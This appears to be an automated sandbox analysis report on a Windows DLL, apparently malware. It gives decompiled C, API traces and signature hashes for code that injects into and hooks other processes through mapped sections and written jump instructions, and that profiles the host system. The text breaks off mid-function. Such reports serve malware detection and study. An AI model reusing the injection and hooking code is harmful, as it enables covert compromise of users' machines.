CreateWindowExA.USER32 ref: 6BB4C7F2
DestroyWindow.USER32 ref: 6BB4C7FD
UnregisterClassA.USER32(?,00000000), ref: 6BB4C808
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 6BB4C824
NtMapViewOfSection.NTDLL(?,00000000), ref: 6BB4C82E
NtMapViewOfSection.NTDLL(?,6BB4CBE2,00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 6BB4C855
VirtualAllocEx.KERNEL32(6BB4CBE2,00000000,00001AC4,00001000,00000004), ref: 6BB4C898
WriteProcessMemory.KERNEL32(6BB4CBE2,00000000,00000000,00001AC4,?), ref: 6BB4C8B1

Part of subcall function 6BB485FB: HeapFree.KERNEL32(00000000,00000000,00000001), ref: 6BB48641

GetCurrentProcess.KERNEL32(00000000), ref: 6BB4C91D
NtUnmapViewOfSection.NTDLL(00000000), ref: 6BB4C924
NtClose.NTDLL(00000000), ref: 6BB4C937

Strings

0, xrefs: 6BB4C78F
sadccdcdsasa, xrefs: 6BB4C780
cdcdwqwqwq, xrefs: 6BB4C7AC

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: Section$ProcessView$ClassCreateCurrentWindow$AllocCloseDestroyFreeHeapMemoryRegisterUnmapUnregisterVirtualWrite
String ID: 0$cdcdwqwqwq$sadccdcdsasa
API String ID: 2002808388-2319545179
Opcode ID: d5c02fb701b5aeecc9494645f1252b3f3868b50be58201ac645040fd72cf575a
Instruction ID: cd7ee10353d4ae4704e1a9bc341901557c4471dc3bd18b4bc7ac9039b3293e7d
Opcode Fuzzy Hash: d5c02fb701b5aeecc9494645f1252b3f3868b50be58201ac645040fd72cf575a
Instruction Fuzzy Hash: FD711872910249BFEF11CF95CC49EAFBBB9FB4AB00F140069F605A7280D7759A04DB65

Uniqueness

Uniqueness Score: -1.00%

Function 6BBBF9DD, Relevance: 13.8, APIs: 9, Instructions: 318memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00000862,00003000,00000040,00000862,6BBBF430), ref: 6BBBFA9A
VirtualAlloc.KERNEL32(00000000,00000183,00003000,00000040,6BBBF48F), ref: 6BBBFAD1
VirtualAlloc.KERNEL32(00000000,00022F3E,00003000,00000040), ref: 6BBBFB31
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6BBBFB67
VirtualProtect.KERNEL32(6BB40000,00000000,00000004,6BBBF9BC), ref: 6BBBFC6C
VirtualProtect.KERNEL32(6BB40000,00001000,00000004,6BBBF9BC), ref: 6BBBFC93
VirtualProtect.KERNEL32(00000000,?,00000002,6BBBF9BC), ref: 6BBBFD60
VirtualProtect.KERNEL32(00000000,?,00000002,6BBBF9BC,?), ref: 6BBBFDB6
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6BBBFDD2

Memory Dump Source

Source File: 0000000F.00000002.654879757.000000006BBBF000.00000040.00020000.sdmp, Offset: 6BBBF000, based on PE: false

Similarity

API ID: Virtual$Protect$Alloc$Free
String ID:
API String ID: 2574235972-0
Opcode ID: fb6c431101c8dc3f584e26c8fffcf4f1a6c937530c03ec3e596e96422c63e17b
Instruction ID: 928157855d529915a73b09569bac551abc29485614224f0f85e6e4fea897e5c1
Opcode Fuzzy Hash: fb6c431101c8dc3f584e26c8fffcf4f1a6c937530c03ec3e596e96422c63e17b
Instruction Fuzzy Hash: 5ED1AD3A102202AFDF11CF9AC880B6577B6FF48750B1841D6EE19AF75AD770A84DCB60

Uniqueness

Uniqueness Score: -1.00%

Function 6BB4CBB9, Relevance: 7.6, APIs: 5, Instructions: 105
nativeCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E6BB4CBB9(void* __ecx, void** __edx, void* __eflags, intOrPtr _a4) {
				long _v8;
				long _v12;
				void* _v16;
				intOrPtr _v23;
				void _v24;
				long _v28;
				void* _v568;
				void _v744;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HINSTANCE__* _t32;
				intOrPtr _t33;
				intOrPtr _t35;
				void* _t39;
				intOrPtr _t43;
				void* _t63;
				long _t65;
				void* _t70;
				void** _t73;
				void* _t74;

				_t73 = __edx;
				_t63 = __ecx;
				_t74 = 0;
				if(E6BB4C510(__ecx, __edx, __edx, 0) != 0) {
					_t39 = E6BB4C702( *((intOrPtr*)(__edx)), _a4); // executed
					_t74 = _t39;
					if(_t74 != 0) {
						memset( &_v744, 0, 0x2cc);
						_v744 = 0x10002;
						_push( &_v744);
						_t43 =  *0x6bb5e684; // 0x2abfaa0
						_push(_t73[1]);
						if( *((intOrPtr*)(_t43 + 0xa8))() != 0) {
							_t70 = _v568;
							_v12 = _v12 & 0x00000000;
							_v24 = 0xe9;
							_t65 = 5;
							_v23 = _t74 - _t70 - _a4 + _t63 + 0xfffffffb;
							_v8 = _t65;
							_v16 = _t70;
							if(NtProtectVirtualMemory( *_t73,  &_v16,  &_v8, 4,  &_v12) < 0 || NtWriteVirtualMemory( *_t73, _v568,  &_v24, _t65,  &_v8) < 0) {
								L6:
								_t74 = 0;
							} else {
								_v28 = _v28 & 0x00000000;
								if(NtProtectVirtualMemory( *_t73,  &_v16,  &_v8, _v12,  &_v28) < 0) {
									goto L6;
								}
							}
						}
					}
				}
				_t32 =  *0x6bb5e77c; // 0x0
				if(_t32 != 0) {
					FreeLibrary(_t32);
					 *0x6bb5e77c =  *0x6bb5e77c & 0x00000000;
				}
				_t33 =  *0x6bb5e784; // 0x0
				if(_t33 != 0) {
					_t35 =  *0x6bb5e684; // 0x2abfaa0
					 *((intOrPtr*)(_t35 + 0x10c))(_t33);
					E6BB485FB(0x6bb5e784, 0xfffffffe);
				}
				return _t74;
			}

0x6bb4cbc5
0x6bb4cbc7
0x6bb4cbc9
0x6bb4cbd2
0x6bb4cbdd
0x6bb4cbe2
0x6bb4cbe6
0x6bb4cbfa
0x6bb4cc02
0x6bb4cc12
0x6bb4cc13
0x6bb4cc18
0x6bb4cc23
0x6bb4cc29
0x6bb4cc31
0x6bb4cc3f
0x6bb4cc45
0x6bb4cc46
0x6bb4cc52
0x6bb4cc59
0x6bb4cc69
0x6bb4cca9
0x6bb4cca9
0x6bb4cc88
0x6bb4cc88
0x6bb4cca7
0x00000000
0x00000000
0x6bb4cca7
0x6bb4cc69
0x6bb4cc23
0x6bb4cbe6
0x6bb4ccab
0x6bb4ccb2
0x6bb4ccb5
0x6bb4ccbb
0x6bb4ccbb
0x6bb4ccc2
0x6bb4ccc9
0x6bb4cccc
0x6bb4ccd1
0x6bb4ccde
0x6bb4cce4
0x6bb4cceb

APIs

Part of subcall function 6BB4C510: LoadLibraryW.KERNEL32 ref: 6BB4C608
Part of subcall function 6BB4C510: memset.MSVCRT ref: 6BB4C647

FreeLibrary.KERNEL32(00000000,?,00000000,00000000), ref: 6BB4CCB5

Part of subcall function 6BB4C702: NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,6BB45CCD), ref: 6BB4C775
Part of subcall function 6BB4C702: RegisterClassExA.USER32 ref: 6BB4C7C7
Part of subcall function 6BB4C702: CreateWindowExA.USER32 ref: 6BB4C7F2
Part of subcall function 6BB4C702: DestroyWindow.USER32 ref: 6BB4C7FD
Part of subcall function 6BB4C702: UnregisterClassA.USER32(?,00000000), ref: 6BB4C808

memset.MSVCRT ref: 6BB4CBFA
NtProtectVirtualMemory.NTDLL(?,?,?,00000004,00000000), ref: 6BB4CC64
NtWriteVirtualMemory.NTDLL(?,?,000000E9,00000005,?), ref: 6BB4CC81
NtProtectVirtualMemory.NTDLL(?,?,?,00000000,00000000), ref: 6BB4CCA2

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: MemoryVirtual$ClassCreateLibraryProtectWindowmemset$DestroyFreeLoadRegisterSectionUnregisterWrite
String ID:
API String ID: 317994034-0
Opcode ID: 8a3681dc02f382177d949548fd41999065b48bc2fe6394eed63649c544d01640
Instruction ID: 43eaee8aeaea11102aa24069b4d131e5e5f5388d6feaeade190a31d2f6e4b2ef
Opcode Fuzzy Hash: 8a3681dc02f382177d949548fd41999065b48bc2fe6394eed63649c544d01640
Instruction Fuzzy Hash: 26314D72A00109AFEB01CFA8CD49FAEB7BCFB08650F1001A5E515E7154EB75DA04DB91

Uniqueness

Uniqueness Score: -1.00%

Function 6BB4D061, Relevance: 35.3, APIs: 15, Strings: 5, Instructions: 282
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E6BB4D061(void* __fp0) {
				long _v8;
				long _v12;
				union _SID_NAME_USE _v16;
				struct _SYSTEM_INFO _v52;
				char _v180;
				short _v692;
				char _v704;
				char _v2680;
				void* __esi;
				struct _OSVERSIONINFOA* _t81;
				intOrPtr _t83;
				void* _t84;
				long _t86;
				void** _t88;
				intOrPtr _t90;
				intOrPtr _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				void* _t98;
				intOrPtr _t103;
				char* _t105;
				void* _t108;
				intOrPtr _t111;
				long _t115;
				signed int _t117;
				long _t119;
				intOrPtr _t124;
				intOrPtr _t127;
				intOrPtr _t130;
				intOrPtr _t134;
				intOrPtr _t145;
				intOrPtr _t147;
				intOrPtr _t149;
				intOrPtr _t152;
				intOrPtr _t154;
				signed int _t159;
				struct HINSTANCE__* _t162;
				short* _t164;
				intOrPtr _t167;
				WCHAR* _t168;
				char* _t169;
				intOrPtr _t181;
				intOrPtr _t200;
				void* _t215;
				long _t218;
				void* _t219;
				char* _t220;
				struct _OSVERSIONINFOA* _t222;
				void* _t223;
				int* _t224;
				void* _t241;

				_t241 = __fp0;
				_t162 =  *0x6bb5e69c; // 0x6bb40000
				_t81 = E6BB485E5(0x1ac4);
				_t222 = _t81;
				if(_t222 == 0) {
					return _t81;
				}
				 *((intOrPtr*)(_t222 + 0x1640)) = GetCurrentProcessId();
				_t83 =  *0x6bb5e684; // 0x2abfaa0
				_t84 =  *((intOrPtr*)(_t83 + 0xa0))(_t215);
				_t3 = _t222 + 0x648; // 0x648
				E6BB52339( *((intOrPtr*)(_t222 + 0x1640)) + _t84, _t3);
				_t5 = _t222 + 0x1644; // 0x1644
				_t216 = _t5;
				_t86 = GetModuleFileNameW(0, _t5, 0x105);
				_t227 = _t86;
				if(_t86 != 0) {
					 *((intOrPtr*)(_t222 + 0x1854)) = E6BB48F9F(_t216, _t227);
				}
				GetCurrentProcess();
				_t88 = E6BB4BA47(); // executed
				 *(_t222 + 0x110) = _t88;
				_t178 =  *_t88;
				if(E6BB4BBCF( *_t88) == 0) {
					_t90 = E6BB4BAA4(_t178, _t222); // executed
					__eflags = _t90;
					_t181 = (0 | _t90 > 0x00000000) + 1;
					__eflags = _t181;
					 *((intOrPtr*)(_t222 + 0x214)) = _t181;
				} else {
					 *((intOrPtr*)(_t222 + 0x214)) = 3;
				}
				_t12 = _t222 + 0x220; // 0x220, executed
				_t91 = E6BB4E433(_t12); // executed
				 *((intOrPtr*)(_t222 + 0x218)) = _t91;
				_t92 = E6BB4E3F8(_t12); // executed
				 *((intOrPtr*)(_t222 + 0x21c)) = _t92;
				 *(_t222 + 0x224) = _t162;
				_v12 = 0x80;
				_v8 = 0x100;
				_t22 = _t222 + 0x114; // 0x114
				if(LookupAccountSidW(0,  *( *(_t222 + 0x110)), _t22,  &_v12,  &_v692,  &_v8,  &_v16) == 0) {
					GetLastError();
				}
				_t97 =  *0x6bb5e694; // 0x2abfbf8
				_t98 =  *((intOrPtr*)(_t97 + 0x3c))(0x1000);
				_t26 = _t222 + 0x228; // 0x228
				 *(_t222 + 0x1850) = 0 | _t98 > 0x00000000;
				GetModuleFileNameW( *(_t222 + 0x224), _t26, 0x105);
				GetLastError();
				_t31 = _t222 + 0x228; // 0x228
				 *((intOrPtr*)(_t222 + 0x434)) = E6BB48F9F(_t31, _t98);
				_t34 = _t222 + 0x114; // 0x114, executed
				_t103 = E6BB4B7EA(_t34,  &_v692);
				_t35 = _t222 + 0xb0; // 0xb0
				 *((intOrPtr*)(_t222 + 0xac)) = _t103;
				_push(_t35);
				E6BB4B6BF(_t103, _t35, _t98, _t241);
				_t37 = _t222 + 0xb0; // 0xb0
				_t105 = _t37;
				_t38 = _t222 + 0xd0; // 0xd0
				_t164 = _t38;
				if(_t105 != 0) {
					_t159 = MultiByteToWideChar(0, 0, _t105, 0xffffffff, _t164, 0x20);
					if(_t159 > 0) {
						_t164[_t159] = 0;
					}
				}
				_t41 = _t222 + 0x438; // 0x438
				_t42 = _t222 + 0x228; // 0x228
				E6BB48FB9(_t42, _t41);
				_t43 = _t222 + 0xb0; // 0xb0
				_t108 = E6BB4D442(_t43, E6BB4C3BB(_t43), 0);
				_t44 = _t222 + 0x100c; // 0x100c
				E6BB4B8CC(_t108, _t44, _t241);
				_t199 = GetCurrentProcess(); // executed
				_t111 = E6BB4BC21(_t110); // executed
				 *((intOrPtr*)(_t222 + 0x101c)) = _t111;
				memset(_t222, 0, 0x9c);
				_t224 = _t223 + 0xc;
				_t222->dwOSVersionInfoSize = 0x9c;
				GetVersionExA(_t222);
				_t167 =  *0x6bb5e684; // 0x2abfaa0
				_t115 = 0;
				_v8 = 0;
				if( *((intOrPtr*)(_t167 + 0x6c)) != 0) {
					 *((intOrPtr*)(_t167 + 0x6c))(GetCurrentProcess(),  &_v8);
					_t115 = _v8;
				}
				 *((intOrPtr*)(_t222 + 0xa8)) = _t115;
				if(_t115 == 0) {
					GetSystemInfo( &_v52);
					_t117 = _v52.dwOemId & 0x0000ffff;
				} else {
					_t117 = 9;
				}
				_t54 = _t222 + 0x1020; // 0x1020
				_t168 = _t54;
				 *(_t222 + 0x9c) = _t117;
				GetWindowsDirectoryW(_t168, 0x104);
				_t119 = E6BB495C2(_t199, 0x10c);
				_t200 =  *0x6bb5e684; // 0x2abfaa0
				_t218 = _t119;
				 *_t224 = 0x104;
				_push( &_v704);
				_push(_t218);
				_v8 = _t218;
				if( *((intOrPtr*)(_t200 + 0xe0))() == 0) {
					_t154 =  *0x6bb5e684; // 0x2abfaa0
					 *((intOrPtr*)(_t154 + 0xfc))(_t218, _t168);
				}
				E6BB485B6( &_v8);
				_t124 =  *0x6bb5e684; // 0x2abfaa0
				_t61 = _t222 + 0x1434; // 0x1434
				_t219 = _t61;
				 *_t224 = 0x209;
				_push(_t219);
				_push(L"USERPROFILE");
				if( *((intOrPtr*)(_t124 + 0xe0))() == 0) {
					E6BB49621(_t219, 0x105, L"%s\\%s", _t168);
					_t152 =  *0x6bb5e684; // 0x2abfaa0
					_t224 =  &(_t224[5]);
					 *((intOrPtr*)(_t152 + 0xfc))(L"USERPROFILE", _t219, "TEMP");
				}
				_push(0x20a);
				_t64 = _t222 + 0x122a; // 0x122a
				_t169 = L"TEMP";
				_t127 =  *0x6bb5e684; // 0x2abfaa0
				_push(_t169);
				if( *((intOrPtr*)(_t127 + 0xe0))() == 0) {
					_t149 =  *0x6bb5e684; // 0x2abfaa0
					 *((intOrPtr*)(_t149 + 0xfc))(_t169, _t219);
				}
				_push(0x40);
				_t220 = L"SystemDrive";
				_push( &_v180);
				_t130 =  *0x6bb5e684; // 0x2abfaa0
				_push(_t220);
				if( *((intOrPtr*)(_t130 + 0xe0))() == 0) {
					_t147 =  *0x6bb5e684; // 0x2abfaa0
					 *((intOrPtr*)(_t147 + 0xfc))(_t220, L"C:");
				}
				_v8 = 0x7f;
				_t72 = _t222 + 0x199c; // 0x199c
				_t134 =  *0x6bb5e684; // 0x2abfaa0
				 *((intOrPtr*)(_t134 + 0xb0))(_t72,  &_v8);
				_t75 = _t222 + 0x100c; // 0x100c
				E6BB52339(E6BB4D442(_t75, E6BB4C3BB(_t75), 0),  &_v2680);
				_t76 = _t222 + 0x1858; // 0x1858
				E6BB5230B( &_v2680, _t76, 0x20);
				_t79 = _t222 + 0x1878; // 0x1878
				E6BB4900E(1, _t79, 0x14, 0x1e,  &_v2680);
				_t145 = E6BB4CD75(_t79); // executed
				 *((intOrPtr*)(_t222 + 0x1898)) = _t145;
				return _t222;
			}

0x6bb4d061
0x6bb4d06b
0x6bb4d077
0x6bb4d07c
0x6bb4d081
0x6bb4d441
0x6bb4d441
0x6bb4d08e
0x6bb4d094
0x6bb4d099
0x6bb4d09f
0x6bb4d0af
0x6bb4d0bb
0x6bb4d0bb
0x6bb4d0c4
0x6bb4d0ca
0x6bb4d0cc
0x6bb4d0d5
0x6bb4d0d5
0x6bb4d0e1
0x6bb4d0e5
0x6bb4d0ea
0x6bb4d0f0
0x6bb4d0f9
0x6bb4d107
0x6bb4d10e
0x6bb4d113
0x6bb4d113
0x6bb4d114
0x6bb4d0fb
0x6bb4d0fb
0x6bb4d0fb
0x6bb4d11a
0x6bb4d120
0x6bb4d125
0x6bb4d12b
0x6bb4d133
0x6bb4d13d
0x6bb4d14a
0x6bb4d155
0x6bb4d15d
0x6bb4d17e
0x6bb4d180
0x6bb4d180
0x6bb4d182
0x6bb4d18c
0x6bb4d198
0x6bb4d1a8
0x6bb4d1ae
0x6bb4d1b4
0x6bb4d1b6
0x6bb4d1c7
0x6bb4d1cd
0x6bb4d1d3
0x6bb4d1d8
0x6bb4d1de
0x6bb4d1e4
0x6bb4d1e9
0x6bb4d1ee
0x6bb4d1ee
0x6bb4d1f4
0x6bb4d1f4
0x6bb4d1fd
0x6bb4d209
0x6bb4d211
0x6bb4d215
0x6bb4d215
0x6bb4d211
0x6bb4d219
0x6bb4d21f
0x6bb4d225
0x6bb4d22c
0x6bb4d23d
0x6bb4d243
0x6bb4d24b
0x6bb4d252
0x6bb4d254
0x6bb4d265
0x6bb4d26b
0x6bb4d270
0x6bb4d273
0x6bb4d276
0x6bb4d27c
0x6bb4d282
0x6bb4d284
0x6bb4d28a
0x6bb4d293
0x6bb4d296
0x6bb4d296
0x6bb4d299
0x6bb4d2a1
0x6bb4d2ac
0x6bb4d2b2
0x6bb4d2a3
0x6bb4d2a5
0x6bb4d2a5
0x6bb4d2bb
0x6bb4d2bb
0x6bb4d2c1
0x6bb4d2c9
0x6bb4d2d4
0x6bb4d2d9
0x6bb4d2df
0x6bb4d2e1
0x6bb4d2ee
0x6bb4d2ef
0x6bb4d2f0
0x6bb4d2fb
0x6bb4d2fd
0x6bb4d304
0x6bb4d304
0x6bb4d30e
0x6bb4d313
0x6bb4d318
0x6bb4d318
0x6bb4d31e
0x6bb4d325
0x6bb4d326
0x6bb4d333
0x6bb4d346
0x6bb4d34b
0x6bb4d350
0x6bb4d359
0x6bb4d359
0x6bb4d35f
0x6bb4d364
0x6bb4d36a
0x6bb4d370
0x6bb4d375
0x6bb4d37e
0x6bb4d380
0x6bb4d387
0x6bb4d387
0x6bb4d38d
0x6bb4d395
0x6bb4d39a
0x6bb4d39b
0x6bb4d3a0
0x6bb4d3a9
0x6bb4d3ab
0x6bb4d3b6
0x6bb4d3b6
0x6bb4d3bf
0x6bb4d3c7
0x6bb4d3ce
0x6bb4d3d3
0x6bb4d3e2
0x6bb4d3fa
0x6bb4d401
0x6bb4d40f
0x6bb4d421
0x6bb4d428
0x6bb4d430
0x6bb4d435
0x00000000

APIs

Part of subcall function 6BB485E5: HeapAlloc.KERNEL32(00000008,?,?,6BB48F65,00000100,?,6BB45FAC), ref: 6BB485F3

GetCurrentProcessId.KERNEL32 ref: 6BB4D088
GetModuleFileNameW.KERNEL32(00000000,00001644,00000105), ref: 6BB4D0C4
GetCurrentProcess.KERNEL32 ref: 6BB4D0E1
LookupAccountSidW.ADVAPI32(00000000,?,00000114,00000080,?,?,?), ref: 6BB4D173
GetLastError.KERNEL32 ref: 6BB4D180
GetModuleFileNameW.KERNEL32(?,00000228,00000105), ref: 6BB4D1AE
GetLastError.KERNEL32 ref: 6BB4D1B4
MultiByteToWideChar.KERNEL32(00000000,00000000,000000B0,000000FF,000000D0,00000020), ref: 6BB4D209
GetCurrentProcess.KERNEL32 ref: 6BB4D250

Part of subcall function 6BB4BAA4: CloseHandle.KERNEL32(?,00000000,74EC17D9,6BB40000), ref: 6BB4BB48

memset.MSVCRT ref: 6BB4D26B
GetVersionExA.KERNEL32(00000000), ref: 6BB4D276
GetCurrentProcess.KERNEL32(00000100), ref: 6BB4D290
IsWow64Process.KERNEL32(00000000), ref: 6BB4D293
GetSystemInfo.KERNEL32(?), ref: 6BB4D2AC
GetWindowsDirectoryW.KERNEL32(00001020,00000104), ref: 6BB4D2C9

Strings

TEMP, xrefs: 6BB4D335
SystemDrive, xrefs: 6BB4D395, 6BB4D3A0, 6BB4D3B5
TEMP, xrefs: 6BB4D36A, 6BB4D375, 6BB4D386
USERPROFILE, xrefs: 6BB4D326, 6BB4D354
%s\%s, xrefs: 6BB4D33B

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$Current$ErrorFileLastModuleName$AccountAllocByteCharCloseDirectoryHandleHeapInfoLookupMultiSystemVersionWideWindowsWow64memset
String ID: %s\%s$SystemDrive$TEMP$TEMP$USERPROFILE
API String ID: 2155830292-2706916422
Opcode ID: 77ac75d08055c63487097cb812ae4bae551d892f2c2585e21ad9efa7d777d44b
Instruction ID: a4c55f2db67f7ddc88394770d4612655dffccec7bb797b0a2892857b6971bcac
Opcode Fuzzy Hash: 77ac75d08055c63487097cb812ae4bae551d892f2c2585e21ad9efa7d777d44b
Instruction Fuzzy Hash: B6B15872600744AFDB10DF74D889BEE73E8FF09304F004869E55AC7285EB78EA449B62

Uniqueness

Uniqueness Score: -1.00%

Function 6BB45F63, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 104
threadCOMMON

Download Yara Rule

C-Code - Quality: 82%

			_entry_(void* __edx, struct HINSTANCE__* _a4, WCHAR* _a8) {
				long _v8;
				char _v16;
				short _v144;
				short _v664;
				void* _t19;
				struct HINSTANCE__* _t22;
				long _t23;
				long _t24;
				char* _t27;
				WCHAR* _t32;
				long _t33;
				void* _t38;
				void* _t49;
				struct _SECURITY_ATTRIBUTES* _t53;
				void* _t54;
				intOrPtr* _t55;
				void* _t57;

				_t49 = __edx;
				OutputDebugStringA("Hello qqq"); // executed
				if(_a8 != 1) {
					if(_a8 != 0) {
						L12:
						return 1;
					}
					SetLastError(0xaa);
					L10:
					return 0;
				}
				E6BB485D0();
				_t19 = E6BB497ED( &_v16);
				_t57 = _t49;
				if(_t57 < 0 || _t57 <= 0 && _t19 < 0x2e830) {
					goto L12;
				} else {
					E6BB48F59();
					GetModuleHandleA(0);
					_t22 = _a4;
					 *0x6bb5e69c = _t22;
					_t23 = GetModuleFileNameW(_t22,  &_v664, 0x104);
					_t24 = GetLastError();
					if(_t23 != 0 && _t24 != 0x7a) {
						memset( &_v144, 0, 0x80);
						_t55 = _t54 + 0xc;
						_t53 = 0;
						do {
							_t27 = E6BB495A8(_t53);
							_a8 = _t27;
							MultiByteToWideChar(0, 0, _t27, 0xffffffff,  &_v144, 0x3f);
							E6BB485A3( &_a8);
							_t53 =  &(_t53->nLength);
						} while (_t53 < 0x2710);
						E6BB52A93( *0x6bb5e69c);
						 *_t55 = 0x7c3;
						 *0x6bb5e684 = E6BB4E1FE(0x6bb5ba20, 0x11c);
						 *_t55 = 0xb4e;
						_t32 = E6BB495C2(0x6bb5ba20);
						_a8 = _t32;
						_t33 = GetFileAttributesW(_t32); // executed
						_push( &_a8);
						if(_t33 == 0xffffffff) {
							E6BB485B6();
							_v8 = 0;
							_t38 = CreateThread(0, 0, E6BB45DE7, 0, 0,  &_v8);
							 *0x6bb5e6a8 = _t38;
							if(_t38 == 0) {
								goto L10;
							}
							goto L12;
						}
						E6BB485B6();
					}
					goto L10;
				}
			}

0x6bb45f63
0x6bb45f73
0x6bb45f7d
0x6bb460b1
0x6bb460a4
0x00000000
0x6bb460a6
0x6bb460b8
0x6bb46079
0x00000000
0x6bb46079
0x6bb45f83
0x6bb45f8b
0x6bb45f92
0x6bb45f94
0x00000000
0x6bb45fa7
0x6bb45fa7
0x6bb45fad
0x6bb45fb3
0x6bb45fc3
0x6bb45fc8
0x6bb45fd0
0x6bb45fd8
0x6bb45ff4
0x6bb45ff9
0x6bb45ffc
0x6bb45ffe
0x6bb46000
0x6bb4600d
0x6bb46016
0x6bb4601f
0x6bb46024
0x6bb46025
0x6bb46033
0x6bb4603d
0x6bb4604e
0x6bb46053
0x6bb4605a
0x6bb46061
0x6bb46064
0x6bb46070
0x6bb46071
0x6bb4607d
0x6bb46086
0x6bb46098
0x6bb4609b
0x6bb460a2
0x00000000
0x00000000
0x00000000
0x6bb460a2
0x6bb46073
0x6bb46078
0x00000000
0x6bb45fd8

APIs

OutputDebugStringA.KERNEL32(Hello qqq), ref: 6BB45F73
SetLastError.KERNEL32(000000AA), ref: 6BB460B8

Part of subcall function 6BB485D0: HeapCreate.KERNEL32(00000000,00080000,00000000,6BB45F88), ref: 6BB485D9

Part of subcall function 6BB497ED: GetSystemTimeAsFileTime.KERNEL32(?,?,6BB45F90), ref: 6BB497FA
Part of subcall function 6BB497ED: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BB4981A

GetModuleHandleA.KERNEL32(00000000), ref: 6BB45FAD
GetModuleFileNameW.KERNEL32(?,?,00000104), ref: 6BB45FC8
GetLastError.KERNEL32 ref: 6BB45FD0
memset.MSVCRT ref: 6BB45FF4
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,0000003F), ref: 6BB46016
GetFileAttributesW.KERNEL32(00000000), ref: 6BB46064
CreateThread.KERNEL32(00000000,00000000,6BB45DE7,00000000,00000000,?), ref: 6BB46098

Strings

Hello qqq, xrefs: 6BB45F6E

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: File$CreateErrorLastModuleTime$AttributesByteCharDebugHandleHeapMultiNameOutputStringSystemThreadUnothrow_t@std@@@Wide__ehfuncinfo$??2@memset
String ID: Hello qqq
API String ID: 3435743081-3610097158
Opcode ID: 451633a583e20a3eb07c56a743c73c77c5ca357dfa60f8a1c19efee99b53eaab
Instruction ID: 90dbb00373b2f20f60b1baacaa630dfb61e7b6fd0b4ad1975774a7cb6003992e
Opcode Fuzzy Hash: 451633a583e20a3eb07c56a743c73c77c5ca357dfa60f8a1c19efee99b53eaab
Instruction Fuzzy Hash: A031AD72910284AFDB149F30DC89EAE37B8FB42754F108169E95AC6284EB7CC944DB62

Uniqueness

Uniqueness Score: -1.00%

Function 6BB8AFC0, Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 262memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32(6BBBE920,0000051D), ref: 6BB8B1EF
VirtualProtect.KERNEL32(6BBBF420,00005016,00000040,6BBBF424), ref: 6BB8B230
GetWindowsDirectoryW.KERNEL32(6BBBE920,0000051D), ref: 6BB8B3DC

Strings

+JAA, xrefs: 6BB8B001, 6BB8B016, 6BB8B04F, 6BB8B055, 6BB8B25D, 6BB8B292
@, xrefs: 6BB8AFCE
B, xrefs: 6BB8AFC7

Memory Dump Source

Source File: 0000000F.00000002.654839540.000000006BB61000.00000020.00020000.sdmp, Offset: 6BB61000, based on PE: false

Similarity

API ID: DirectoryWindows$ProtectVirtual
String ID: +JAA$@$B
API String ID: 1258730550-3055704029
Opcode ID: d0e8d6c138da490b375ca5cc8ec604793413494c1fff1b1fed6748eea2ae2424
Instruction ID: b2e730a3c79c9dc852c2f3dd710fc7f20aa4a2c5debd9f1bdc969356290648e2
Opcode Fuzzy Hash: d0e8d6c138da490b375ca5cc8ec604793413494c1fff1b1fed6748eea2ae2424
Instruction Fuzzy Hash: B8D147755861919FFB09DF38E5A17783BB1EB86304B04526DD0C98B34ADB3ED680CB14

Uniqueness

Uniqueness Score: -1.00%

Function 6BB4B7EA, Relevance: 9.1, APIs: 6, Instructions: 83
stringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E6BB4B7EA(WCHAR* __ecx, void* __edx) {
				long _v8;
				long _v12;
				WCHAR* _v16;
				short _v528;
				short _v1040;
				short _v1552;
				WCHAR* _t27;
				signed int _t29;
				void* _t33;
				long _t38;
				WCHAR* _t43;
				WCHAR* _t56;

				_t44 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t43 = __edx;
